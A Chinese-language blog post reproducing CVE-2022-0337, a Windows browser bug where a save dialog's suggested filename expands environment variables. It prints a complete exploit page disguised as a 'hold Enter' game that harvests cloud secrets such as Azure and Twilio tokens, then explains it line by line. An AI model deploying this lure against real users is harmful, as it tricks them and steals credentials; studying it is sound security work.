有意思的CVE-2022-0337復現

 前言

 前兩天在刷tw,看到了個比較有意思的一個CVE漏洞,價值獎勵是10000美刀,比較好奇的是價值10000美刀的漏洞是什麼樣子的,漏洞利用就是需要在瀏覽器中進行用戶交互才能觸發該漏洞,但由於 Windows 的文件保存默認為接受,通過使用強制您按 ENTER 約 2 秒的技巧簡單地泄漏數十個環境變數。

 影響版本

Google Chrome版本範圍92.x-96.x

Microsoft Edge版本範圍92.x-96.x

Opera版本範圍78.x-81.x

 復現

 在存在漏洞的瀏覽器F12的控制台輸入payload

let a = await window.showSaveFilePicker({suggestedName:’%username%’});a.name;

 但是必須要訪問一個存在的html,百度首頁測試

image-20220323153020581.png

 保存後控制台輸出環境變數username的值

image-20220323153112740.png

 漏洞發現者為:Maciej Pulikowski,exp也是來自於作者,中間改了點樣式,因為覺得有點不太美觀!

image-20220323162714963.png

 EXP

<html>
 <head>
   <title>
    CVE-2022-0337 System environment variables leak on Google Chrome,
    Microsoft Edge and Opera
   </title>
   <meta charset="UTF-8" />
 </head>

 <style>
   body {
     background: rgba(212,0,0,0.2);
     display: flex;
     justify-content: center;
     align-items: center;
     flex-direction: column;
  }
h1,
h2,
h3 {
 -webkit-text-stroke: 1px #00000050;
}

h1 {
 color: #d96c06;
 font-size: 36px;
}
h2 {
 color: #1ebe8e;
 font-size: 46px;
}
h3 {
 color: #c6f91f;
 font-size: 18px;
}
h2 span {
 color: #cf4848;
 font-size: 70px;
}

#author {
 font-size: 28px;
}

span {
 font-weight: 100;
}
</style>

 <body>
   <script>
     //how many time enter clicked in row
     let countEnter = 0;
     //is file downloaded
     let isDownloaded = false;

     //on page load
     window.onload = function () {
       const body = document.querySelector("body");
       const pixel = document.querySelector("#pixel");

       body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
       body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

       const randomNumber = Math.floor(Math.random() * 990) + 1;
       const filename = `f${randomNumber}.f`;

       //List of environment variables that hacker is interested in.
       const environmentVariables = [
         "USERNAME",
         "USERDOMAIN",
         "SESSIONNAME",
         "COMPUTERNAME",
         "KEY_VAULT_URL",
         "SECRET_NAME",
         "AZURE_TENANT_ID",
         "AZURE_CLIENT_ID",
         "AZURE_CLIENT_SECRET",
         "TWILIO_ACCOUNT_SID",
         "TWILIO_AUTH_TOKEN",
         //'TOKEN',
         //'PASSWORD'
      ];

       const suggestedName =
         environmentVariables.map((x) => `%${x}%`).join("@") + filename;

       pixel.addEventListener("click", async () => {
         //handle to get file
         const handle = await window.showSaveFilePicker({ suggestedName });
         //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
         //result from user
         const username = handle.name.split("@")[0];

         const userInfo = handle.name
          .replaceAll(filename, "")
          .split("@")
          .map(
            (x, i) =>
               `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
          )
          .join("<br>");
         const guessWinPath = `C:/Users/${username}`;
         document.querySelector(
           "#userInfo"
        ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
         document.querySelector("#gameover").textContent =
           "GAME OVER - Need refresh to start again";
      });
    };

     function clickedEnter() {
       countEnter++;
       //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
       if (countEnter > 5 && !isDownloaded) {
         pixel.click();
         //set file is downloaded
         isDownloaded = true;
      }
    }

     function cancelEnter() {
       //reset count enter if enter is not hold
       countEnter = 0;
    }
   </script>
   <!-- div used to click to open Save As dialog -->
   <div id="pixel"></div>
   <h3 id="userInfo"></h3>
   <h1>Super Simple Game<span>******</span></h1>
   <h2><span>**HOLD ENTER</span> for 2 seconds</h2>
   <h3 id="gameover"></h3>
 </body>
</html>

 這裡選擇版本

92.0.4515.159(正式版本)

image-20220322183250315.png

image-20220322184215763.png

 刷新頁面後長按Enter鍵兩秒即可觸發payload

image-20220322184311642.png

 分析

 分一下payload前面的49行之前內容是定義了html的樣式,核心內容在

 <script>
     //how many time enter clicked in row
     let countEnter = 0;
     //is file downloaded
     let isDownloaded = false;
//on page load
 window.onload = function () {
   const body = document.querySelector("body");
   const pixel = document.querySelector("#pixel");

   body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
   body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

   const randomNumber = Math.floor(Math.random() * 990) + 1;
   const filename = `f${randomNumber}.f`;

   //List of environment variables that hacker is interested in.
   const environmentVariables = [
     "USERNAME",
     "USERDOMAIN",
     "SESSIONNAME",
     "COMPUTERNAME",
     "KEY_VAULT_URL",
     "SECRET_NAME",
     "AZURE_TENANT_ID",
     "AZURE_CLIENT_ID",
     "AZURE_CLIENT_SECRET",
     "TWILIO_ACCOUNT_SID",
     "TWILIO_AUTH_TOKEN",
     //'TOKEN',
     //'PASSWORD'
  ];

   const suggestedName =
     environmentVariables.map((x) => `%${x}%`).join("@") + filename;

   pixel.addEventListener("click", async () => {
     //handle to get file
     const handle = await window.showSaveFilePicker({ suggestedName });
     //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
     //result from user
     const username = handle.name.split("@")[0];

     const userInfo = handle.name
      .replaceAll(filename, "")
      .split("@")
      .map(
        (x, i) =>
           `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
      )
      .join("<br>");
     const guessWinPath = `C:/Users/${username}`;
     document.querySelector(
       "#userInfo"
    ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
     document.querySelector("#gameover").textContent =
       "GAME OVER - Need refresh to start again";
  });
};

 function clickedEnter() {
   countEnter++;
   //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
   if (countEnter > 5 && !isDownloaded) {
     pixel.click();
     //set file is downloaded
     isDownloaded = true;
  }
}

 function cancelEnter() {
   //reset count enter if enter is not hold
   countEnter = 0;
}
</script>

 看標籤的話定義為JavaScript語言,泄露的配置資訊在69-84行定義

image-20220322184542674.png

 在63和64行定義了長按Enter鍵相當於觸發script標籤

image-20220323095329316.png

 隨機數生成文件名後綴,隨機數大小為0到991,fimename=隨機數.f

image-20220323112000780.png

suggestedName格式為定義的%{x}%@filename

suggestedName=%{x}%@隨機數.f

image-20220323111901028.png

 繼續向下看

image-20220323112527994.png

 上述程式碼為觸發事件操作,定義了所泄露的在environmentVariables中定義的屬性,且調用屬性suggestedName做列印。

image-20220323112807443.png

 所以最終在執行payload的時候保存的文件名為

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

 那麼接下來需要思考兩個問題

  • 泄露的漏洞觸發的原理又在哪裡

  • 能做什麼呢?

 1.根據測試,漏洞在windwos易受攻擊。Linux 和Mac 是安全的,因為在命名的時候使用了ENV環境變數,所以會觸發,在 Windows 中,%ENV_VAR%可以使用 來引用環境變數,文件名稱的命名時利用環境變數來命名的話,在調用文件的話會返迴環境變數的值。

 2.因為windows中能夠利用環境變數有很多,例如

AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY

 結語

 大佬畢竟是大佬呀!!!

 更多靶場實驗練習、網安學習資料,請點擊這裡>>